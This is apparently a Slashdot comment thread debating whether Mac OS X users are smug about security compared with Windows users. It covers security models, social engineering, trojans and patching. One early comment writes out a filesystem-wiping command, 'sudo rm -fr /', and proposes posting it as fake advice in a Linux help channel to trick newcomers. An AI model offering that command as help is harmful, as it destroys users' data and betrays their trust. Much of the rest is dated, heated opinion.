Here's what I want to know. Now, analyzing a multivariable problem is always harder. When we compare Windows and Mac, for instance, the two platforms have (a) vastly different market shares and (b) significantly if not vastly different security models. Which factor accounts for the vastly different level of malware threat? We don't know for sure.

BUT, to all the Windows apologists who are always saying it's not Windows's fault that there is so much malware for it, who are suggesting that it's all the malware writer's fault, who are implying it's unfair to criticize Windows for its popularity, I want to say: are you sure that the difference in security models doesn't account for any of the difference? Why are you (or, rather, why is Microsoft) so reluctant to try any of those "different" security techniques that Macs (and Unix and linux machines) use?

(But I guess I know what they'd say. "No system is 100% secure. There are vulnerabilities in the Mac, Unix, and Linux models, too...")

OT, but who cares.

[Anonymous Coward]

sudo rm -fr /

Give this advice in a 'linux help' irc channel. You'd be amazed at how many people blindly type away. FWIW, every noob should type this command at least once. The lesson learned is *invaluable* (albeit a bit heavy handed) - respect for the power of root.

MacScan

[Anonymous Coward]

There was a great piece of software at macworld last week called MacScan. I believe they released there 2nd version of the software at Macworld. It is a anti spyware / keylooger / trojan program and they were giving demo's of certain malicious programs that are out there for mac, It was kindof scary.

You can find information about the software at: http://macscan.securemac.com./ I personally got a copy for myself as it seems there is more and more malicious code being written for the mac.

Better than

[Anonymous Coward]

Which brings us to the tenet:

If you think you are better than anyone,
it means you are lower than everyone.

Easy solution:

[big_groo]

sudo vi /etc/hosts
Ctrl-A
199.181.132.250 slashdot.org
Esc :wq!

Re:Easy solution:

[NitsujTPU]

Go.com?

There's too many different Linuxes...

[argent]

Linux is a damned secure OS, at least as good as MacOS X.

Properly configured a Linux box, a BSD box, and a Mac should be comparably secure.

The problem is that you don't know what "Linux" a Linux is. Most Linux distributions I've used shipped with a lot of dubious software installed and enabled by default. Mac OS X isn't exactly at the level of paranoia of OpenBSD... not everything is turned off by default... but it comes with most of the "relatively paranoid security measures" already taken by Apple before they ship it.

Only exploitable through social engineering...

[argent]

Exploit, infections from not known:
http://news.zdnet.co.uk/internet/security/0,390203 75,39155837,00.htm

This is to date the closest that Apple has come to the kind of horrorshow that Microsoft created back around 1997 when they integrated IE and Windows Explorer, and it's not very close at all. This hole could never be used to create an automatically propogating worm, the most it does is make social engineering attacks easier.

If social engineering was all we had to watch out for, like it pretty much was back in the early '90s when Microsoft turned the self-propogating email worm from a joke (the "GOOD TIMES" virus hoax) to reality, I'd be a happy camper.

Re:MacOS X itself?

[99BottlesOfBeerInMyF]

I don't have time to do more research to help your denial, but I would suggest you actually do a bit of research yourself and see that OSX is no more perfect than any other OS. PERIOD.

"More perfect" is improper English. OS X is not perfect. It is more secure than most other OS's, especially as a default install. Your "research" has turned up a trojan (not a virus or worm) that Apple has even made harder to use and which has no exploit code included. This does not qualify as an exploit in the wild.

You also turned up a half-assed rootkit, with no way to get it on the box. This is not a virus or worm or even an exploit of any sort, let alone one in the wild. This is a really poorly written example of what someone might install after they did run a successful exploit.

Finally, you found a decent rootkit, again with no way to get it on the box.

So you found three programs that do what they are supposed to provided you have the permissions and passwords needed to run them. And you call these exploits? You know what? There are almost certainly OS X exploits existing in the wild. They are used by individuals with some skill to compromise specific machines for specific purposes. These exist for pretty much all platforms. They are not, however, worms or viruses, or anything a normal user has to worry about. Trying to equate whatever non-public exploits and a few programs that do what they are intended to with the permissions they are given with the unholy mess that is Windows exploits in the form of worms, viruses, and known hacks is a joke.

The next time you feel like doing some "research" how about starting with some definitions of malware and a basic understanding of what constitutes an exploit. Basically, get a clue.

How to be as secure on Windows...

[argent]

Use a firewall, backup regularly, and don't open executables from untrusted sources. That's my whole regime.

Before 1997 that was good enough on Windows, too.

If you don't use Internet Explorer or any other application that uses the HTML control to access the Internet, that's probably STILL good enough on Windows. Be careful, because that means you don't use Realplayer, Windows Media Player, Outlook, and a lot of other applications as well as Internet Explorer.

But who's counting?????

[Anonymous Coward]

Windows XP 43,672 nasty thangs
Mac OS X 0 nasties

HUMMV's vs M1 tanks

[steveoc]

I love the old argument that windows is more vunerable to malware than (OSX/linux/VMS/other) simply because there are more of them out there, so they present a better target for virus writers.

What a load of toss.

Ask a Microsoftie the following question, and you should get the following answer :

Q: If you have to drive up against an enemy armed with a machine gun, are you safer in a hummv or a freely available M1 tank ?

A: You might be a bit safer in an M1 tank - at the moment, but the HUMMV is still a better bet. Why you ask ? .. well, easy really .. HUMMV's are actually much better protected than tanks .. but because there are more HUMMV's in the field, the evil bastards that have machine guns currently aim them at light vehicles. But dont worry about that - as soon as they put more tanks in the field, machine guns will magically start to be effective against them, and the truth will be known by all.

Also, HUMMV's offer a wide range of choices for additional armour plating and security measures to make you even safer !. If you are stupid and choose to drive a tank instead, then you will be hard pushed to find ANY third-party additional armour plating on sale for your tank ... this makes the old HUMMV an even safer bet than a tank.

And even if tanks were available for free (!!!!), HUMMVs are still cheaper when you consider the total cost of ownership - basically anyone can hop into a HUMMv and drive it like a big car, but driving a tank takes a bit of skill .. so the training costs for tank crews offset the $0 purchase cost.

Finally - when your freely available tank throws a track or suffers mechanical problems in the field under fire .. whatcha gonna do ? You have to rely on your own engineers to get it rolling again. On the other hand, factory purchased HUMMVs come with full support - so if you puncture a tire or run out of fuel whilst surrounded by a horde of machete weilding natives - just send an email off to our 24/7 support group, and we will get back to you with some helpful advice by the next business day. "Have you tried turning the engine off and re-starting it sir ?" "The bulletproof glass is letting bullets through ? No worries sir - just hold tight for a while and wait for the next version to be released - we have a radical new type of glass we are testing in our labs, I promise".

Get the facts - HUMMVs are safer than tanks !

Ah, so it's the user...

[Anonymous Coward]

And that's what it ultimately boils down to -- the user. Clueless users will get hit by crap all the time regardless of the platform.

So OS X doesn't have any virii because we are all smarter users than our Windows counterparts?

Its a non-problem

[dilvish_the_damned]

For instance, if an OS needs a firewall in order to be secure, that OS should be deemed 'insecure' until there is no longer a need (i.e. the problems fixed), but it does in no way indicate that all OSes need a firewall to be secure.

If there were a market for such tools for the MAC OS, people would buy and use them (its a curcular arguement, but thats economics for ya). Instead I would measure the relative security of the MAC OS by the lack of need for such tools for day-to-day operation.
Just because one OS has a severe need for such third party tools, it should not indicate all OSes have the same need.

tasty looking bait there

[commodoresloat]

The "nasty virus" you link to is bogus; distribution of the virus requires:

# Admin or physical access (boot from a CD or firewire/usb, ignore permissions on the internal drive).
# Write access to either /Library/StartupItems /System/Library/StartupItems.
# Write access to any existing StartupItem (which is replaced with this script).
# Write access to the rc, crontab, or periodic files.

The effects of this program are pretty nasty, it's true, but installation requires the user to practically install the program him or herself. If I already have root access to a machine, it is a given that I could install whatever malware I wanted, "virus" or no.

The second program you linked to exploits a vulnerability in the VERITAS NetBackup, not in MacOSX; users are only vulnerable if using that program. This program has been patched. A Mac user should be using the most recent version (as one should on any platform) to avoid compromise on this software. Nothing to do with the MacOS.

And also...

[Gorimek]

In other news, oxygen tank expert Bronchito McCougherson chastised non smokers for being too smug thinking they were immune from emphysema and lung cancer.

Re:MacOS X itself?

[Big_Al_B]

[sigh] I may as well join on the pig pile.

Safer? I guess, except in the past year Apple released more security and exploit fixes for OSX than Microsoft did for WindowsXP...

So again how is it a safer OS if these exploits existed in the first place?

As others have also noted, there is a disconnect in your logic here. If Apple uncovers 25 potential exploits and patches 23, while MS uncovers 50 and patches 20...well, surely you get the picture.

Apple is a _safer_ (not 100% safe) operating system than WindowsWhatever for a variety of reasons.

* It's harder to exploit because its default behaviors are more secure.
* Its overall design harvests security strengths from its UNIX heritage.
* Yes, its low installed base makes it a less attractive target.
* BUT, so does its superior security model. ^(1)

(1) If you and a friend are running away from a charging bear, you don't have to run faster than the bear--you have to run faster than your friend. Likewise, OS X doesn't have to be 100% secure, it just has to be more secure than Windows.

In this and other posts on this article, you've stretched the bounds of logic and exagerated claims of OS X exploits. Why?

Come on

[Anonymous Coward]

First, I wouldn't characterize user views concerning s/w security regarding OS X as "smugness." That's a myth. Second, it should be more than telling, that after article after article regarding OS X security from pundits and software security vendors alike, the best argument they can make is a pure hypothetical. Third, any discussion of software security must, I repeat, must involve not only the software design of the OS platform as it pertains to security, but also the OS vendor (i.e., Apple, Microsoft, etc.), insomuch as the vendor plays a key role in maintaining security on it's platform. The vendor's role as it pertains to software security is intrinsic and inseparable in any meaningful discussion of platform security.

In the case of Microsoft, they have been incontestably less than vigilant regarding addressing security lapses in Windows, as recently as the .wmf incident. On the other hand, Apple has been proactive in maintaining security on it's platform, constantly updating it's system for potential vulnerabilities even though nothing has ever existed in the wild. The most recent version of OS X ("Tiger") featured a raft of new, preventative security features. That's quite a clear departure from Microsoft. Apple, as a company, through it's behavior pertaining to OS security maintenance, has made it clear that if anyone tries to exploit the system, you may find a way but it won't be easy. And if you somehow manage to exploit it, we will shut you down quickly.

As an example, the "evil widget" issue that the author of the parent article refers to is a little more telling then he lets on. The issue arose not long after the release of 10.4, but nothing was ever delivered in the wild. Nevertheless, Apple addressed the issue in it's next update to OS X, which at the time was 10.4.2. And this is an example where Apple users do have a right to be smug, as Apple OS X 10.4 users know just how far above and beyond the call of duty Apple's solution was to the theoretical "evil widget."

Make no mistake, when you talk about OS security, the company that makes the OS matters, and in the case of Apple, users would have every reason to be smug.

Darn right they are!

[Anonymous Coward]

They can be just as ignorent as windows users, why who could have thought the "Word 2004 public beta" with a "Microsoft icon" that "looked genuine and trustworthy" would wipe out your home directory?

The sky is falling!

[Anonymous Coward]

I haven't been hit by an asteroid yet, but I know that I am vulnerable to being hit by one. And I know that, as the population increases, one's chances of being hit increases.

Excuse me. I have to go out and buy a steel umbrella.

Re:MacOS X itself?

[theAtomicFireball]

"More perfect" is improper English. OS X is not perfect. It is more secure than most other OS's, especially as a default install.

I hate to knock you, since I agree with you, but.... Despite the fact that perfect is a superlative and, in a technical sense, there can't be different levels of perfectness, I do not think it is accurate to say "more perfect" is improper English. At worst, it would qualify as an idiomatic expression dating back at least to the late eighteenth century when the preamble to the U.S. Constitution was written ("to form a more perfect union"), and probably earlier. The fact is, many superlatives are used in the vernacular to mean something less than their literal meaning. How often do people say, for example, that they "need" something that could hardly qualify as a necessity? Haven't you ever heard someone say "there's nothing worse than" followed by something rather trivial?

You've got great points; don't get your arguments dismissed by being a Word Nazi(TM). Idiomatic expressions are an accepted part of the language and is probably the least problem we have on Slashdot when it comes to understanding posts.

Re:MacOS X itself?

[Farmer Tim]

I just wish to express my utterly redundant agreement with your valid but redundant point about linguistic precision being redundant.

Ironically, this post will probably be modded up as "Insightful"...

Social engineering attacks will always be with us.

[argent]

If the worst problem you can find in Mac OS X is that it allows social engineering attacks, well, that means it's even stronger than I'd give it credit for. Social engineering is not an exploit against the OS, it's an exploit against the user. You can't solve THAT technically, at least not until the Singularity when we can apply service packs on our neumonal implants.

Re:Oh no...

[msherer]

Despite elements of truth, I consider such articles to be PC FUD. The subtle message is that the security situation on Mac OS X is NOT really different than Windows and if Mac users were truly responsible they'd be running AV and anti-spyware software and in general be just as worried about security as their PC-using brethren. SO DON'T SWITCH.

Friends, the security situation IS different. Mac users who run software update regularly and don't deliberately open up their systems are probably the safest computer users on the internet, all without having to care very much about security.

In terms of security, Windows is Bagdhad and OS X is Pleasantville. So, while being smug may be rude, it's currently not unjustified. The average Mac user doesn't and shouldn't have to worry as much about security as the average PC user. Anyone who tells you otherwise has an agenda.

Best option - common sense.

[argent]

I advise against buying antivirus software for the Mac. Antivirus software by its very nature can only reduce the reliability of your system, and since it's purely a responsive mechanism it can actually create a sense of complacency that makes viruses grow faster during the period before the virus is detected and a signature file is distributed.

Simply disabling any auto-execute mechanisms and being careful about who you share digital bodily fluids with works much better.

Mac users are smug...

[tbird81]

..and not just over security!

Re:You're missing the point, but that's OK, really

[Jesus_666]

I'm not saying that OS X is perfect, I'm saying that SO FAR, you shouldn't waste time and money on virus protection. Do regular backups of your important data, that is MUCH more effective and protects against other disasters like hardware malfunctions, loss and theft, fire and stupidity.

We at the Snakeoil Corporation know that, viruses, hardware malfunctions, loss, theft, fire and stupidity are major threats for your precious data. That's why we have released our new revolutionary product, Snakeoil Antivirusandhardwaremalfunctionandlossandtheftandf ireandstupidity. Snakeoil Antivirusandhardwaremalfunctionandlossandtheftandf ireandstupidity uses our patented trade secret virus, hardware malfunction, loss, theft, fire and stupidity detection engine to effectively stopy any viruses, hardware malfunctions, losses, thefts and fires. And stupidities. Order Snakeoil Antivirusandhardwaremalfunctionandlossandtheftandf ireandstupidity today! (Except in Nebraska.)


Legal disclaimer: The software product and users's manual are provided "as is" and without warranty of any kind, either express or implied, including, but not limited to, the implied warranties of merchantability and fitness for a particular purpose. In no event will Snakeoil Corp. be liable for any damages, including any lost profits, lost savings, or other incidental or consequential damages arising out of the use, or inability to use Snakeoil Corp. software, even if Snakeoil Corp. or an authorized representative of Snakeoil Corp. has been advised of the possibility of such damages, or for any claim by any other party. Void where prohibited by law. Your actual mileage may vary. For maximum freshness, use before date code indicated. Keep out of the reach of children. Safety goggles may be required during use. All rights reserved. Any resemblance to actual persons, living or dead, is unintentional and purely coincidental. Celebrity voices impersonated.

read the following

[ohwell]

http://www.us-cert.gov/cas/techalerts/TA06-011A.ht ml

Wow, a literal "Step 2: ???" example

[snowwrestler]

Step 1: The virus first attempts to identify the target machine.

Step 2: Upon doing so and diagnosing apprent weaknesses (???), the virus then packages the relevant position-independant code in an appropriate executable container (ELF for linux, PE for Windows, a.out or unibin for OS-X) and set the entry point. The virus then executes a found exploit (???), causing the offending computer to download the converted virus from the attacking computer

Step 3: Profit

More detail needed on those Step 2 vaguaries. Any virus works great if it can just magically find vulnerabilities and exploits by which to do its work. I'd have a lot more interest in your post if you could identify any specific vulnerabilities or exploits in OS X that would allow that scheme to succeed.

How do you know most people drop it?

[SuperKendall]

At the keynote, Jobs announced .Mac had over a million subscribers now. Not a huge percentage of the Mac userbase, but still pretty good.

And with iLife 06 it's more compelling to use for most people than it was before. Plus the bandwith cap is really high and they have great servers so if you want to post stuff that people can see with reasonable speed, it's not a bad solution. And as noted the backup/sync features really are worthwhile - especially if you have two macs.

Newsflash

[Anonymous Coward]

No OS is infallible - film at 11.

Wow, how insightful.

Re:MacOS X itself?

[ummit]

...see that OSX is no more perfect than any other OS. PERIOD.

As a wise man once said, "There is no step function between 'safe' and 'unsafe'."

We've got tens of thousands of known Windows exploits in the wild, and you've just found maybe one for the Mac, and you're claiming there's therefore no difference in the relative perfection of their two security systems?

So I guess we could have a bunch of crackheaded drug addicts engaging in unprotected sex while rolling around naked in a garbage-strewn back alley littered with rusty used needles and leaking bags of infectuous medical waste, but you'd say (in response to our suggestion that the back-alley sex might not be such a good idea from a health safety perspective) that: since chaste, reclusive people can get sick too, there's NO SUCH THING as a perfectly healthy lifestyle. "Period."

Re:MacOS X itself?

[ummit]

do you realize how easy it is to get a Mac user to type in the root password when installing software, and giving a trojan full access to the system?

Sure, I realize how easy it is. Are you suggesting, therefore, that it's not worth asking for the password?
That it's fine (or even preferable) for Windows not to ask?
That its failure to ask has nothing to do with the staggeringly high numbers of malware programs which can typically be found installed on the average home PC?

But you *are* safe today.

[node 3]

You are also truely a fool if you a salesman convinces you

Aside: I take umbrage with the fact that you'll call someone a fool who has believed a lie for which they cannot be expected to know whether it was a lie or not. In that case, everyone is, has been, or will be, "truely [sic] a fool".

that their product is 100% secure to all security issues.

No one states that Macs are magical, or that they cannot be compromised. The claim is basically that the virus/worm problem with Windows does not exist on the Mac. And they're right, IT DOESN'T.

Regardless of the reason, I know that I am safer today with a Mac than with XP.

Thought experiment: automate two machines, 1 Mac, 1 fully patched, but otherwise default, PC. Script them to browse the web, crawling through links.

Which one is guaranteed to get pwn3d? Which one is currently guaranteed not to?

Next script them to enter their email address to forms that ask for it, and have them both merely run their built-in mail programs, and ask the same question again.

It may be safe today, but we don't know what tomorrow holds.

No, but I don't know if my safe house in my safe neighborhood won't be infiltrated by two LA street gangs and an international terrorist organization tomorrow either. I can, however, look at the way things tend to be, and see that I'm as safe as I can reasonably hope to be, and aren't likely to change in the morning. If things go to hell in a hand-basket tomorrow, I'll deal with it then.

Mac OS X does not do the sorts of things that make worms, viruses, and even hard-to-battle spyware, easy to write for Windows. Windows doesn't *have* to wait for some mythical "tomorrow" for those things.

So, with my Mac, I'll not worry about worms or viruses. If they come (and they are *very* likely to come any time soon), they come. On Windows, they're already here, have been here for a while, and are a nuisance.

So yeah, the Mac is more secure. The bogeyman of "tomorrow" doesn't concern me, which is good, because it shouldn't.

Re:But you *are* safe today.

[Midnight Thunder]

You make a fair point. I know I was over the top, but the general gist is don't be too smug about your security. It will do the job in most cases, but don't expect miracles. Expect even less miracles on MS-Windows.

At the same time the amount of security you need is relative to the environment you live in. In some place you can leave a door unlocked and not expect anyone to intrude and in other two bolt locks is just the basic requirements to keeping people out.

Social engineering Mac's achilles heel

[GrahamCox]

I think the writer has a valid point. OS X may be arguably more inherently secure, but that is to ignore the social engineering aspects. Most Mac users never read the license agreement without hitting 'Accept', they enter their keychain password whenever it is requested without reading or understanding the message, and happily run downloaded shareware without a second thought. Given the routes to an exploit available once any of these have been breached, writing a Mac virus is trivial. Hell, even Cocoa's handy categories make the entire API a backdoor. Writing a virus for the Mac that relies on social engineering is not hard, in fact it's trivially easy, if you learn a bit of Cocoa. Apple even give you the tools for free. It only takes a few users to run a trojan to unleash a Mac virus on all of us, and it's true - we just are not ready to accept it can even happen, let alone know how to deal with it when it does.

Re:MacOS X itself?

[Anonymous Coward]

That just shows that Mac virus writers are lamerz while Windows virus writers are 1337.

Re:MacOS X itself?

[epee1221]

Proof of concept exploit:
http://news.zdnet.com/2100-3513_22-5189335.html?ta g=zdfd.newsfeed
Feh. It has the .app file extension. I am not amazed.

http://daringfireball.net/2004/04/crying_wolf

Re:MacOS X itself?

[epee1221]

If your suggestion is that Mac OS X is not more secure than Windows, you have failed to justify it. If you want to justify it, find vulnerabilities in OS X that are not present in Windows rather than identify vulnerabilities common to the two systems.

cool_pic.jpg.exe

[Imazalil]

Yeah Mac users are just as dumb as Windows users, but for the life of them they can't seem to figure out a way to open this 'cool_pic.jpg.exe' picture that their 'good friend' keeps sending them.

Superiority complex

[Anonymous Coward]

Part of what has hurt Apple in regards to selling computers is their superiority complex. First it was the mistake of pricing yourself as the BMW of computers and not licensing out the OS. Smack on the head from Bill Gates.

Now the next downfall is the hubris of the MAC community to view all in Apple world perfect and untouchable. Sorry Sally, that neat chrome case has nothing to do with the security of your operating system. The irony is that MAC users are probaly some of the most novice computer users around and need serious security updates, monitoring, security software etc.

Re:Superiority complex

[Anonymous Coward]

"MAC users are probaly some of the most novice computer users around..."

So? Is one supposed to be a technical wizard in order to operate a computer? It seems that some PC techies feel a bit threatened by a computer that's actually easy to use and secure right out of the box. Their "superior" expertise isn't required in that situation.

Shouldn't a computer ideally be a tool that one can use to be productive with little or no knowledge of technical details?

Who really has the superiority complex here?

Re:Superiority complex

[Anonymous Coward]

I'm sorry, I can't take anyone seriously when they capitalize every letter of the word "Mac," as if it were some kind of fsking acronym. Every single person I've ever seen do this has been a "novice computer user," as you put it.

not much skill required

[geekee]

"With that in mind, I absolutely agree that Mac users are too smug and that a dedicated malware author could bring many of us to our knees. (Hell, I run as administrator just to save time, despite knowing the risks. It's a gamble, although I keep good backups.) But an OS X (or Linux) malware author would have to be much more skilled than most Windows-targeting skript kiddies to do a lot of damage."

All you do is wait for Apple to release a patch to fix a security issue, reverse engineer the patch, and attack macs. How often do Mac users patch their software?

Re:not much skill required

[dal20402]

You wouldn't get too many boxes this way... another example of Apple choosing non-brain-dead defaults.

Macs are set by default to automatically check for updates daily. They prompt the user, and then keep reminding him frequently if he declines to install, when they find an update. By the time you "reverse-engineer" the patch the vast majority of machines will be protected.

Yes, it's possible to attack Macs in a cornucopia of different ways. No, it's not this trivial.

Macs may be more secure by lack of design...

[lpq]

I remember a complaint recently about how the Microsoft world wasn't "User" oriented, but was more corporate oriented. No one here thought that was much surprising.

On the flip side financial market folks are looking at Apple to see if it can leverage some of its great success in the end-user market toward business.

Perhaps the very thing that made/makes MS successful in the corporate culture is also what makes it more vulnerable to creackers and the difficulties Apple has had getting into the Corporate World also provide roadblocks to crackers.

What do corporations and crackers have in common? They both like to own computers other people are using and control them.

MS made itself wide open to make networking easy -- to make it easy for Domain controllers to control PC's, for Admins to force policies on many users remotely -- to control users at their local consoles. Everything in Windows is about reducing TCO and moving toward zero-administration overhead so 1 cracker, or administrator can control 100's or 1000's of systems (or 10's of 1000's of botnets).

Perhaps I am naive about the remote administration tools of Apple based products, but I don't see them being dropped as easily into a corporation as easily, ready to setup and integrate into the network and have existing network policies easily control them. When I asked an apple-laptop (dunno what kind it was) owner about file sharing, she had no clue how to share them or how to browse local files on my house network available on SMB, CIFS or NFS.

Perhaps the features, that weren't designed into Apple computers that have slowed it down in the Corporation have also slowed down the hackers. That's not to say that MS got it right -- they took the fast, open and dangerous route -- and we see their legacy today. But that's what it has taken to be successful in the business market. Software companies have cared first about product and market, second about quality and security.

MS is now making a big show about security w/o addressing quality, but you can't have secrity w/o quality. Each bug can be a _potential_ exploit waiting for the right conditions, but if a company never bothers with quality, they'll never know how many potential problems they have nor how severe they are.

-l

guess slashdotters can't take a joke

[willCode4Beer.com]

Modded troll for an obvious joke. Sheesh, so sensitive these folks.

Mountains and molehills...

[argent]

There have been some gaping holes in MacOS-X browsers that allowed execution of remote code.

I'm not sure that this is an accurate description of reality.

The use of LaunchServices by the browser without human intervention allowed for the exploit of insecure applications. The problem is that LaunchServices is used internally by applications that are never intended to be run with untrusted documents. This is a problem on Windows, and has been a problem on X11-based browsers on UNIX systems as well.

Apple has attempted to address this problem by modifying LaunchServices to alert the user when opening a URL with an application they have previously not used, and by adding warning dialogs to Safari. I believe this is the wrong approach, because it still makes social engineering attacks easier, and because it doesn't help against attacks on components that have already been used to open documents via URLs... and it causes other problems. I had the user interface lock up on me because a screensaver was attempting to use LaunchServices to run an application (legitimately), but I wasn't able to see the warning dialog because the screensaver was running.

The right approach would be for applications registered with LaunchServices to register whether they should be considered "safe" for potentially untrusted content, either via a flag (that defaults to off for existing applications, but which a user can change through Preferences) or by creating a separate WebServices registry. Applications that handle untrusted documents would use this alternate registry or attribute to avoid passing documents to innocent code. This would limit the potential for social engineering without causing problems with applications using LaunchServices internally.

However, the "surface area" of this attack is far smaller than that of Microsoft's active content. It still requires a user to explicitly visit a web page: there's no mechanism for an email message or code surreptitiously inserted into an otherwise innocent web page (say, via embedded HTML in a forum message) to automatically trigger the execution of untrusted code as there is for Outlook and Internet Explorer and other programs that use the Microsoft HTML control.

Automatic execution of native code is the "best" possible attack vector for viruses. That's why Mac viruses used to be so prevalent... it was possible to hide code fragments in the resource fork of documents and have them automatically execute when a document was opened or even displayed in Finder, similar to the way code fragments can be hidden in Windows Metafile format images. This mechanism was increasingly discouraged, and since OS X doesn't support 68000 code segments at all (not even under Classic) it's no longer an issue. Apple has steadily moved away from automatic execution of code, unfortunately Microsoft doesn't seem to have learned that this is a bad thing.

As for Cowhand... it's not an exploit, it's a payload that can be installed in an already compromised computer. Nobody would argue that you can't install backdoors in Mac OS X or any other OS, once a security flaw has been found and exploited, but the existence of a backdoor is not proof of a security flaw... and so far as I know nobody has traced Cowhand's presence back to anything but a social engineering or local (physical access, guessed passwords, etc...) attack.

Re:MacOS X itself?

[99BottlesOfBeerInMyF]

You've got great points; don't get your arguments dismissed by being a Word Nazi(TM). Idiomatic expressions are an accepted part of the language and is probably the least problem we have on Slashdot when it comes to understanding posts.

Unless specifically asked, I only point out one kind of grammatical/spelling/style mistake. I point out when I can't understand what the writer was trying to say. In this case you'll note I had to use two sentences at the beginning of my reply to address multiple possible meanings of the previous author's ambiguous statement. I don't think this is unreasonable or nazi-esque. In old English, or colonial English, perhaps this had an agreed upon meaning. In modern English it does not. If the writer wanted me to know whether or not he meant "more secure" or "perfectly secure" he should have used understandable English. The purpose of writing is to communicate. If you fail to do that, your writing is flawed.

Re: Keylogger in userspace?

[Ken Erfourth]

• And it obviously doesn't matter if a keylogger running in userspace

How did the keylogger start running in userspace? How did it install? If it is a malicious part of a administor-authorized program, someone is swiftly going to get in trouble for distributing malware. I don't think you can run an unauthorized executable in userspace, except maybe for Dashboard Widgets, and they don't get access to ordinary data files.

I may be messing up the technical terms, but I don't think you can have a program running on OSX that wasn't installed by an administrator. Aside from the Kazaa-type phenomena, where massive malware is installed as a stated condition of a "free" installation of desired software, there isn't any way to get that keylogger there in the first place. And a keylogger is clearly illegal, so Kazaa-type tricks will quickly generate visits from the police for the instigators. There's probably a window of risk there, but it's a small window, high up, and throwing things at it may result in a shower of hot oil.

• Clueless users will get hit by crap all the time regardless of the platform. Clued users will not, again regardless of the platform.

So far, clueless Mac users on OS9 and OSX have been just fine for years and years. I've never seen a Mac problem in my little computer shop that was caused by malware, unless you count Norton Utilities as malware.

I don't get hit running my several shop Windows PCs (yet, anyway). But I have to have use antivirus, a NAT Firewall on my router, MicroSoft Antispyware for 2000 and XP, and take care where I browse with the machines.

I take my home Mac anywhere, and didn't even have a router between it and the internet until I installed a wireless network (I use WEP on it--not invulnerable, but pretty effective). I often use it to check out email viruses and investigate malicious websites to figure out how my customer Windows boxen are getting infected. Four years old, zero problems with malware.

How about...

[LucBorg]

How about you Jobs-MAC cult losers get a life.

"I hope I achieved that goal, even if I did upset a lot of people who seem to feel that anything but fawning admiration for Apple is an act of betrayal by an apostate."

More than betrayal, you are verbally burned at the stake, beheaded, and then diced into tiny pieces before being fed to leeches as a puree, if you ever try to criticise apple.

I'm not such a great fan of this guy, but when he complains about windows, which he does in EVERY SINGLE OTHER ARTICLE he's written, I don't bother slashdotting him and writing about him in my blog, between the part where I describe how I went to buy the ingredients for a sandwich and the part where I describe how I made and ate the sandwich. I also don't then put an apple-voodoo curse on him either.

I realise this is probably the worst place to say this, but meh, I think I've got an addiction to getting negative points on slashdot!

Bill fucking thompson.

[SpokeBot]

Every article he does he has his god damn ugly face in looking all smug and curmudgeonly, like he's trying to say "hey, look at me, I have a column on the bbc website, and that makes me special, just like using a mac does. therefore I am infinitly bettar than you, even though in reality I am actually still a virgin and live with my mother".

I bet he cuts himself and cries in the evenings.

Re:Rampant Viruses

[santiago]

If MS had the number of exploits or security issues that OSX had in the last year, the world would be in chaos with rampant viruses running everywhere.

Not to be facetious, but that sounds like a rather accurate description of the Windows world.

We have to be smug...

[macserv]

... we're Apple's largest advertising force.

If we simply reported facts... how's that going to persuade anybody? We have to use hyperbole and propaganda to get people to pay attention, because Apple won't do it themselves.

Oh, and Macs don't crash, either.

p.s.

[mrraven]

Whops that's "super computer" and X11. See what using m.s. word spell check will get you?

Actually, the most unwarranted statement of this..

[Dekator]

article is the assumption that Mac users are too smug over security. Where's proof for that ? Just because they're demonstrably safer doesn't mean they're smug over it. Certainly, it's worth discussing the ins and outs of Mac-related safety. However you look at it though, nobody in the world knows nearly enough Mac users to call them generally smug over security issues. How would anybody know ? And anyway, an article that begins with a general ad personas attack, should always be taken with caution. As for the content, others have shown that to be less than accurate. This is just a lame display of under-informed tech journalism trying to impress the ignorant.

non mac user

[Anonymous Coward]

Jesus! you must be fun at Pedantic Pursuit.

Even a stopped clock is right twice a day

[sfgoth]

Noone hears what most of us were telling to Mac users for the past 20 years... Nothing will teach them better than leaving them alone until it bites them in the ass.

It'll have to be the mother of all ass-bitings to make up for 20 years of Mac users gloating about no viruses. It'll wipe that smug smile right off their faces. Hell, maybe this hypothetical future virus will even erase all the extra productivity those jerks have enjoyed for those 20 years, with their easy to use, fully functional computers. It's been 20 years, it'll happen Any Day Now, right?

Or maybe not.

Re:Even a stopped clock is right twice a day

[Stan Vassilev]

"It's been 20 years, it'll happen Any Day Now, right?"

I'll just say this: there's already widely spread copy of Tiger running on PC's, and all PC virus/malware writers are currently checking it out.

You may be joking with my post, but not long from now the joke will be on you.

Re:MacOS X itself?

[TheNetAvenger]

As others have also noted, there is a disconnect in your logic here. If Apple uncovers 25 potential exploits and patches 23, while MS uncovers 50 and patches 20...well, surely you get the picture.

But your logical already fails... You assume Apple patched 92% of their exploits and MS only patched 40% of their exploits.

Where do you base this argument unless you can show me were MS left 60% of any found exploits unpatched...

In fact, find even 50 exploits in XP Post SP2 for the past year...

MS has been very good about patching, and so has Apple...

But go back to MY point... If you had a choice of Boat A) and the captain found 200 holes in it and patched them all and Boat B) where the captain found 50 holes and patched them all, which boat would you assume to be safer?

Both are fully patched, but wouldn't you question the design and safety of the boat that had 200 holes in the first place?

So this is my point, in the last year OSX was boat A, and Windows was boat B...

I wasn't saying neither were unsafe or unpatched, but one HAD to be patched more than the other.

PERIOD.

Now what you suggest...
It's harder to exploit because its default behaviors are more secure.

TRUE - the Root abstraction for Users is a better method than what Windows Uses.

* Its overall design harvests security strengths from its UNIX heritage.

FALSE - Having a *nix heritage means little to NOTHING. In fact MS's NT team specifically designed NT NOT like *nix to avoid the shortcoming and security holes of the *nix model from the early 90s.

Go look up Inside Windows NT, or a book called UNIX-HATERS

Unix Doesn't mean anything, there are good and bad Unix implmentations, period.

PS. Windows has a full Unix Subsystem just like it has what you see as Windows the (Win32) subsystem that you can run natively on the NT kernel. Goto MS and lookup UNIX. It is a free download for Win2k, XP, etc.

* Yes, its low installed base makes it a less attractive target.

This is true, this was also true of WIndows NT back when Win3.1 and Win95 were being hit with a lot of viruses. Many orgainizations moved to the NT platform in the early 90s where this was important as the Win3.x and Win9x viruses failed on NT, and it was not a very big target for hackers of the time.

The same is true of OSX. If OSX becomes more successful as NT did by BECOMING the Only form of Windows, then OSX will have the same growing pains. (Remember Security was built into NT from the begining, a robust C2 level of security even.)

* BUT, so does its superior security model. ^(1)

This is not so much a fact... The Root abstraction is a good model, but underlying that, the security descriptors, file system, and underlying security mechanisms are not any more robust. NT for example has a token and client/server process security model - actually fairly advanced.

Also NTFS is more robust than any file system offered by OSX, expecially where integrity and security are concerned. (Truly go read up on NTFS and NT's internal Security handling.)

Take Care...

